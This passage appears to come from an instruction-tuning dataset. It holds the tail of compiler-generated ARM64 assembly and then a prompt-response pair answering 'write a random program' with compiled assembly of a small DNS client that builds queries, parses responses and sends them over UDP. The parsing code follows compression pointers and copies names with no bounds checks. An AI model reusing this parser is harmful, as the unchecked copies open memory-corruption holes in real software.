add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
ldr w2, [x1, x0]
ldrsw x3, [sp, 36]
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x3
lsl x0, x0, 2
add x1, sp, 40
str w2, [x1, x0]
b .L5
.L7:
ldr w0, [sp, 32]
cmp w0, 0
bne .L8
ldr w0, [sp, 36]
sub w0, w0, #1
sxtw x2, w0
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
ldr w2, [x1, x0]
ldrsw x3, [sp, 36]
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x3
lsl x0, x0, 2
add x1, sp, 40
str w2, [x1, x0]
b .L5
.L8:
ldr w0, [sp, 36]
sub w0, w0, #1
sxtw x2, w0
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
ldr w2, [x1, x0]
ldr w0, [sp, 32]
sub w0, w0, #1
ldrsw x3, [sp, 36]
sxtw x1, w0
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x3
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
add w2, w2, w0
ldrsw x3, [sp, 36]
ldrsw x1, [sp, 32]
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x3
lsl x0, x0, 2
add x1, sp, 40
str w2, [x1, x0]
.L5:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L3:
ldr w1, [sp, 36]
ldr w0, [sp, 16]
cmp w1, w0
blt .L9
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w1, [sp, 32]
ldr w0, [sp, 20]
cmp w1, w0
blt .L10
ldr w0, [sp, 20]
sub w1, w0, #1
ldr w0, [sp, 16]
sub w0, w0, #1
sxtw x2, w0
sxtw x1, w1
mov x0, x1
lsl x0, x0, 1
add x0, x0, x1
lsl x0, x0, 3
add x0, x0, x1
lsl x0, x0, 2
add x0, x0, x2
lsl x0, x0, 2
add x1, sp, 40
ldr w0, [x1, x0]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
add x3, sp, 32768
ldr x4, [x3, 7272]
ldr x2, [x0]
subs x4, x4, x2
mov x2, 0
beq .L12
bl __stack_chk_fail
.L12:
mov w0, w1
ldp x29, x30, [sp]
mov x12, 40048
add sp, sp, x12
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size uniquePathsWithObstacles, .-uniquePathsWithObstacles
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string " "
.align 3
.LC1:
.string " %c"
.align 3
.LC2:
.string " ."
.align 3
.LC3:
.string "\n%02X: "
.align 3
.LC4:
.string " "
.align 3
.LC5:
.string "%02X "
.text
.align 2
.global print_bytes
.type print_bytes, %function
print_bytes:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr w0, [sp, 20]
and w0, w0, 7
cmp w0, 0
beq .L2
ldr w0, [sp, 20]
add w1, w0, 7
cmp w0, 0
csel w0, w1, w0, lt
asr w0, w0, 3
add w0, w0, 1
lsl w0, w0, 3
str w0, [sp, 44]
b .L3
.L2:
ldr w0, [sp, 20]
str w0, [sp, 44]
.L3:
str wzr, [sp, 36]
b .L4
.L17:
ldr w0, [sp, 36]
and w0, w0, 7
cmp w0, 0
bne .L5
ldr w0, [sp, 36]
cmp w0, 0
ble .L6
ldr w0, [sp, 36]
sub w0, w0, #8
str w0, [sp, 40]
b .L7
.L12:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L8
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
b .L9
.L8:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
blt .L10
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
b .L9
.L10:
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 32
bls .L11
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 126
bhi .L11
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L9
.L11:
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
.L9:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L7:
ldr w1, [sp, 40]
ldr w0, [sp, 36]
cmp w1, w0
blt .L12
.L6:
ldr w1, [sp, 36]
ldr w0, [sp, 44]
cmp w1, w0
bge .L13
ldr w1, [sp, 36]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
b .L13
.L5:
ldr w0, [sp, 36]
and w0, w0, 3
cmp w0, 0
bne .L13
mov w0, 32
bl putchar
.L13:
ldr w1, [sp, 36]
ldr w0, [sp, 44]
cmp w1, w0
bge .L18
ldr w1, [sp, 36]
ldr w0, [sp, 20]
cmp w1, w0
blt .L16
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
b .L15
.L16:
ldrsw x0, [sp, 36]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
b .L15
.L18:
nop
.L15:
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L4:
ldr w1, [sp, 44]
ldr w0, [sp, 36]
cmp w1, w0
bge .L17
mov w0, 10
bl putchar
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size print_bytes, .-print_bytes
.section .rodata
.align 3
.LC6:
.string "."
.text
.align 2
.global canonicalize_name
.type canonicalize_name, %function
canonicalize_name:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
ldr x0, [sp, 24]
bl strcmp
cmp w0, 0
beq .L26
ldr x0, [sp, 24]
bl strlen
str w0, [sp, 44]
ldrsw x0, [sp, 44]
sub x0, x0, #1
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 46
bne .L22
ldrsw x0, [sp, 44]
sub x0, x0, #1
ldr x1, [sp, 24]
add x0, x1, x0
strb wzr, [x0]
.L22:
str wzr, [sp, 40]
b .L23
.L25:
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 64
bls .L24
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 90
bhi .L24
ldrsw x0, [sp, 40]
ldr x1, [sp, 24]
add x0, x1, x0
ldrb w1, [x0]
ldrsw x0, [sp, 40]
ldr x2, [sp, 24]
add x0, x2, x0
add w1, w1, 32
and w1, w1, 255
strb w1, [x0]
.L24:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L23:
ldr w1, [sp, 40]
ldr w0, [sp, 44]
cmp w1, w0
blt .L25
b .L19
.L26:
nop
.L19:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size canonicalize_name, .-canonicalize_name
.align 2
.global name_ascii_to_wire
.type name_ascii_to_wire, %function
name_ascii_to_wire:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
str x0, [sp, 32]
ldr x0, [sp, 16]
str x0, [sp, 40]
ldr x0, [sp, 40]
strb wzr, [x0]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
b .L28
.L31:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 46
beq .L29
ldr x0, [sp, 24]
ldrb w1, [x0]
ldr x0, [sp, 32]
strb w1, [x0]
ldr x0, [sp, 40]
ldrb w0, [x0]
add w0, w0, 1
and w1, w0, 255
ldr x0, [sp, 40]
strb w1, [x0]
b .L30
.L29:
ldr x0, [sp, 32]
str x0, [sp, 40]
.L30:
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
.L28:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 0
bne .L31
ldr x0, [sp, 32]
strb wzr, [x0]
ldr x0, [sp, 16]
bl strlen
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size name_ascii_to_wire, .-name_ascii_to_wire
.align 2
.global name_ascii_from_wire
.type name_ascii_from_wire, %function
name_ascii_from_wire:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
mov w0, 1
str w0, [sp, 60]
ldr x0, [sp, 32]
ldr w0, [x0]
str w0, [sp, 64]
ldr w0, [sp, 64]
add w1, w0, 1
str w1, [sp, 64]
sxtw x0, w0
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 55]
b .L34
.L38:
ldrb w0, [sp, 55]
and w0, w0, 192
cmp w0, 192
bne .L35
ldrsw x0, [sp, 64]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
str w0, [sp, 56]
add x0, sp, 56
ldr x2, [sp, 24]
mov x1, x0
ldr x0, [sp, 40]
bl name_ascii_from_wire
sxtw x0, w0
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
ldrsw x0, [sp, 64]
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 55]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
b .L34
.L35:
str wzr, [sp, 68]
b .L36
.L37:
ldr w1, [sp, 64]
ldr w0, [sp, 68]
add w0, w1, w0
sxtw x0, w0
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w1, [x0]
ldr x0, [sp, 24]
strb w1, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
ldr w0, [sp, 68]
add w0, w0, 1
str w0, [sp, 68]
.L36:
ldrb w0, [sp, 55]
ldr w1, [sp, 68]
cmp w1, w0
blt .L37
ldrb w0, [sp, 55]
ldr w1, [sp, 64]
add w0, w1, w0
str w0, [sp, 64]
ldr w0, [sp, 64]
add w1, w0, 1
str w1, [sp, 64]
sxtw x0, w0
ldr x1, [sp, 40]
add x0, x1, x0
ldrb w0, [x0]
strb w0, [sp, 55]
ldrb w0, [sp, 55]
cmp w0, 0
beq .L34
ldr x0, [sp, 24]
mov w1, 46
strb w1, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
.L34:
ldrb w0, [sp, 55]
cmp w0, 0
bne .L38
ldr x0, [sp, 24]
strb wzr, [x0]
ldr w0, [sp, 60]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L40
bl __stack_chk_fail
.L40:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size name_ascii_from_wire, .-name_ascii_from_wire
.align 2
.global parse_compressed
.type parse_compressed, %function
parse_compressed:
.LFB10:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
mov x2, x8
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp]
str x0, [sp, 16]
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 2
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 3
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 24]
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 4
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 5
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 26]
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 6
ldrb w0, [x0]
lsl w1, w0, 24
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 7
ldrb w0, [x0]
lsl w0, w0, 16
orr w1, w1, w0
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 8
ldrb w0, [x0]
lsl w0, w0, 8
orr w0, w1, w0
ldr x1, [sp, 8]
ldr x1, [x1]
add x1, x1, 9
ldrb w1, [x1]
orr w0, w0, w1
str w0, [sp, 28]
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 10
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 11
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 32]
ldr x0, [sp, 8]
ldr x0, [x0]
add x0, x0, 12
str x0, [sp, 40]
ldr x0, [sp, 8]
ldr x1, [x0]
ldrh w0, [sp, 32]
and x0, x0, 65535
add x0, x0, 12
add x1, x1, x0
ldr x0, [sp, 8]
str x1, [x0]
mov x1, x2
add x0, sp, 16
ldp q0, q1, [x0]
stp q0, q1, [x1]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size parse_compressed, .-parse_compressed
.align 2
.global parse_uncompressed
.type parse_uncompressed, %function
parse_uncompressed:
.LFB11:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
mov x3, x8
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 16]
str x0, [sp, 32]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 12]
add x0, x1, x0
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 24]
ldr x2, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 1
add x0, x2, x0
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 40]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 2
add x0, x1, x0
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 24]
ldr x2, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 3
add x0, x2, x0
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 42]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 4
add x0, x1, x0
ldrb w0, [x0]
lsl w1, w0, 24
ldr x0, [sp, 24]
ldr x2, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 5
add x0, x2, x0
ldrb w0, [x0]
lsl w0, w0, 16
orr w1, w1, w0
ldr x0, [sp, 24]
ldr x2, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 6
add x0, x2, x0
ldrb w0, [x0]
lsl w0, w0, 8
orr w0, w1, w0
ldr x1, [sp, 24]
ldr x2, [x1]
ldrsw x1, [sp, 12]
add x1, x1, 7
add x1, x2, x1
ldrb w1, [x1]
orr w0, w0, w1
str w0, [sp, 44]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 8
add x0, x1, x0
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 24]
ldr x2, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 9
add x0, x2, x0
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
and w0, w0, 65535
strh w0, [sp, 48]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 12]
add x0, x0, 10
add x0, x1, x0
str x0, [sp, 56]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrh w0, [sp, 48]
mov w2, w0
ldr w0, [sp, 12]
add w0, w2, w0
sxtw x0, w0
add x0, x0, 10
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0]
mov x1, x3
add x0, sp, 32
ldp q0, q1, [x0]
stp q0, q1, [x1]
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size parse_uncompressed, .-parse_uncompressed
.align 2
.global rr_from_wire
.type rr_from_wire, %function
rr_from_wire:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -80
mov x19, x8
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
mov x0, 1024
bl malloc
str x0, [sp, 80]
ldr x0, [sp, 48]
ldr x0, [x0]
ldrb w0, [x0]
and w0, w0, 192
cmp w0, 192
bne .L46
ldr x0, [sp, 48]
ldr x0, [x0]
add x0, x0, 1
ldrb w0, [x0]
b .L47
.L46:
ldr x0, [sp, 48]
ldr x1, [x0]
ldr x0, [sp, 56]
sub x0, x1, x0
.L47:
str w0, [sp, 72]
add x0, sp, 72
ldr x2, [sp, 80]
mov x1, x0
ldr x0, [sp, 56]
bl name_ascii_from_wire
str w0, [sp, 76]
ldr x0, [sp, 48]
ldr x0, [x0]
ldrb w0, [x0]
and w0, w0, 192
cmp w0, 192
bne .L48
mov x8, x19
ldr x1, [sp, 80]
ldr x0, [sp, 48]
bl parse_compressed
b .L52
.L48:
mov x8, x19
ldr w2, [sp, 76]
ldr x1, [sp, 80]
ldr x0, [sp, 48]
bl parse_uncompressed
.L52:
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 88]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L51
bl __stack_chk_fail
.L51:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size rr_from_wire, .-rr_from_wire
.align 2
.global create_dns_query
.type create_dns_query, %function
create_dns_query:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
strh w1, [sp, 38]
str x2, [sp, 24]
str wzr, [sp, 56]
b .L54
.L55:
ldrsw x0, [sp, 56]
ldr x1, [sp, 24]
add x0, x1, x0
strb wzr, [x0]
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L54:
ldr w0, [sp, 56]
cmp w0, 1023
ble .L55
bl rand
and w1, w0, 255
ldr x0, [sp, 24]
strb w1, [x0]
bl rand
mov w1, w0
ldr x0, [sp, 24]
add x0, x0, 1
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 24]
add x0, x0, 2
mov w1, 1
strb w1, [x0]
ldr x0, [sp, 24]
add x0, x0, 5
mov w1, 1
strb w1, [x0]
ldr x0, [sp, 24]
add x0, x0, 12
mov x1, x0
ldr x0, [sp, 40]
bl name_ascii_to_wire
str w0, [sp, 60]
ldr w0, [sp, 60]
add w0, w0, 12
sxtw x0, w0
add x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
mov w1, 1
strb w1, [x0]
ldr w0, [sp, 60]
add w0, w0, 12
sxtw x0, w0
add x0, x0, 4
ldr x1, [sp, 24]
add x0, x1, x0
mov w1, 1
strb w1, [x0]
ldr w0, [sp, 60]
and w0, w0, 65535
add w0, w0, 17
and w0, w0, 65535
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size create_dns_query, .-create_dns_query
.section .rodata
.align 3
.LC7:
.string "%u"
.align 3
.LC8:
.string "%u."
.align 3
.LC9:
.string "NONE"
.align 3
.LC10:
.string "%s => %s\n"
.text
.align 2
.global get_answer_address
.type get_answer_address, %function
get_answer_address:
.LFB14:
.cfi_startproc
stp x29, x30, [sp, -256]!
.cfi_def_cfa_offset 256
.cfi_offset 29, -256
.cfi_offset 30, -248
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -240
str x0, [sp, 56]
strh w1, [sp, 54]
str x2, [sp, 40]
str x3, [sp, 32]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 248]
mov x1, 0
ldr x0, [sp, 56]
bl strlen
bl malloc
str x0, [sp, 112]
ldr x0, [sp, 56]
bl strlen
mov x2, x0
ldr x1, [sp, 56]
ldr x0, [sp, 112]
bl strncpy
ldr x0, [sp, 40]
add x0, x0, 6
ldrb w0, [x0]
lsl w0, w0, 8
sxth w1, w0
ldr x0, [sp, 40]
add x0, x0, 7
ldrb w0, [x0]
sxth w0, w0
orr w0, w1, w0
sxth w0, w0
strh w0, [sp, 66]
ldr x0, [sp, 40]
str x0, [sp, 96]
mov w0, 12
str w0, [sp, 68]
add x0, sp, 68
ldr x2, [sp, 56]
mov x1, x0
ldr x0, [sp, 40]
bl name_ascii_from_wire
str w0, [sp, 88]
ldr x1, [sp, 96]
ldrsw x0, [sp, 88]
add x0, x0, 17
add x0, x1, x0
str x0, [sp, 96]
str wzr, [sp, 76]
b .L58
.L69:
add x0, sp, 96
add x1, sp, 120
mov x8, x1
mov w2, 0
mov x1, x0
ldr x0, [sp, 40]
bl rr_from_wire
ldr x0, [sp, 120]
ldr x1, [sp, 56]
bl strcmp
cmp w0, 0
bne .L59
ldrh w0, [sp, 128]
ldrh w1, [sp, 54]
cmp w1, w0
bne .L59
ldrh w0, [sp, 136]
str w0, [sp, 80]
str wzr, [sp, 84]
add x0, sp, 152
str x0, [sp, 104]
b .L60
.L63:
ldr w0, [sp, 80]
cmp w0, 1
bne .L61
adrp x0, .LC7
add x0, x0, :lo12:.LC7
b .L62
.L61:
adrp x0, .LC8
add x0, x0, :lo12:.LC8
.L62:
ldr x2, [sp, 144]
ldrsw x1, [sp, 84]
add x1, x2, x1
ldrb w1, [x1]
mov w2, w1
mov x1, x0
ldr x0, [sp, 104]
bl sprintf
str w0, [sp, 92]
ldrsw x0, [sp, 92]
ldr x1, [sp, 104]
add x0, x1, x0
str x0, [sp, 104]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
ldr w0, [sp, 80]
sub w0, w0, #1
str w0, [sp, 80]
.L60:
ldr w0, [sp, 80]
cmp w0, 0
bne .L63
str xzr, [sp, 104]
add x0, sp, 152
bl strlen
mov x19, x0
ldr x0, [sp, 32]
bl strlen
cmp x19, x0
bls .L64
add x0, sp, 152
bl strlen
b .L65
.L64:
ldr x0, [sp, 32]
bl strlen
.L65:
add x1, sp, 152
mov x2, x0
ldr x0, [sp, 32]
bl strncpy
ldr x0, [sp, 32]
cmp x0, 0
beq .L66
ldr x0, [sp, 32]
b .L67
.L66:
adrp x0, .LC9
add x0, x0, :lo12:.LC9
.L67:
mov x2, x0
ldr x1, [sp, 56]
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
b .L68
.L59:
ldr x0, [sp, 120]
ldr x1, [sp, 56]
bl strcmp
cmp w0, 0
bne .L68
ldrh w0, [sp, 128]
cmp w0, 5
bne .L68
ldr x1, [sp, 144]
ldr x0, [sp, 40]
sub x0, x1, x0
str w0, [sp, 72]
add x0, sp, 72
ldr x2, [sp, 56]
mov x1, x0
ldr x0, [sp, 40]
bl name_ascii_from_wire
ldr x0, [sp, 56]
bl canonicalize_name
.L68:
ldr x0, [sp, 120]
bl free
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L58:
ldrh w0, [sp, 66]
ldr w1, [sp, 76]
cmp w1, w0
blt .L69
ldr x0, [sp, 32]
ldrb w0, [x0]
cmp w0, 0
bne .L70
adrp x0, .LC9
add x2, x0, :lo12:.LC9
ldr x1, [sp, 112]
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
b .L71
.L70:
mov w0, 10
bl putchar
.L71:
ldr x0, [sp, 112]
bl free
mov x0, 0
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 248]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L73
bl __stack_chk_fail
.L73:
mov x0, x1
ldr x19, [sp, 16]
ldp x29, x30, [sp], 256
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size get_answer_address, .-get_answer_address
.section .rodata
.align 3
.LC11:
.string "Error creating socket\r\n"
.align 3
.LC12:
.string "Error connecting\r\n"
.align 3
.LC13:
.string "Error sending request to server\r\n"
.align 3
.LC14:
.string "Error resceiving response from server\r\n"
.text
.align 2
.global send_recv_message
.type send_recv_message, %function
send_recv_message:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str x3, [sp, 16]
strh w4, [sp, 34]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 120]
mov x1, 0
stp xzr, xzr, [sp, 104]
mov w0, 2
strh w0, [sp, 104]
mov w0, 53
bl htons
and w0, w0, 65535
strh w0, [sp, 106]
ldr x0, [sp, 16]
bl inet_addr
str w0, [sp, 108]
mov w2, 17
mov w1, 2
mov w0, 2
bl socket
str w0, [sp, 68]
ldr w0, [sp, 68]
cmn w0, #1
bne .L75
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 23
mov x1, 1
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl fwrite
bl abort
.L75:
add x0, sp, 104
mov w2, 16
mov x1, x0
ldr w0, [sp, 68]
bl connect
cmn w0, #1
bne .L76
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 18
mov x1, 1
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl fwrite
bl abort
.L76:
ldr x0, [sp, 40]
str x0, [sp, 88]
ldr x0, [sp, 88]
str x0, [sp, 80]
ldr w0, [sp, 36]
str w0, [sp, 60]
b .L77
.L80:
ldrsw x0, [sp, 60]
mov w3, 0
mov x2, x0
ldr x1, [sp, 80]
ldr w0, [sp, 68]
bl send
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L78
bl __errno_location
ldr w0, [x0]
cmp w0, 4
bne .L78
b .L77
.L78:
ldr w0, [sp, 76]
cmp w0, 0
bgt .L79
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 33
mov x1, 1
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl fwrite
bl abort
.L79:
ldrsw x0, [sp, 76]
ldr x1, [sp, 80]
add x0, x1, x0
str x0, [sp, 80]
ldr w1, [sp, 60]
ldr w0, [sp, 76]
sub w0, w1, w0
str w0, [sp, 60]
.L77:
ldr w0, [sp, 60]
cmp w0, 0
bne .L80
ldr x0, [sp, 24]
str x0, [sp, 96]
mov w0, 512
str w0, [sp, 72]
ldrsw x0, [sp, 72]
mov w3, 0
mov x2, x0
ldr x1, [sp, 96]
ldr w0, [sp, 68]
bl recv
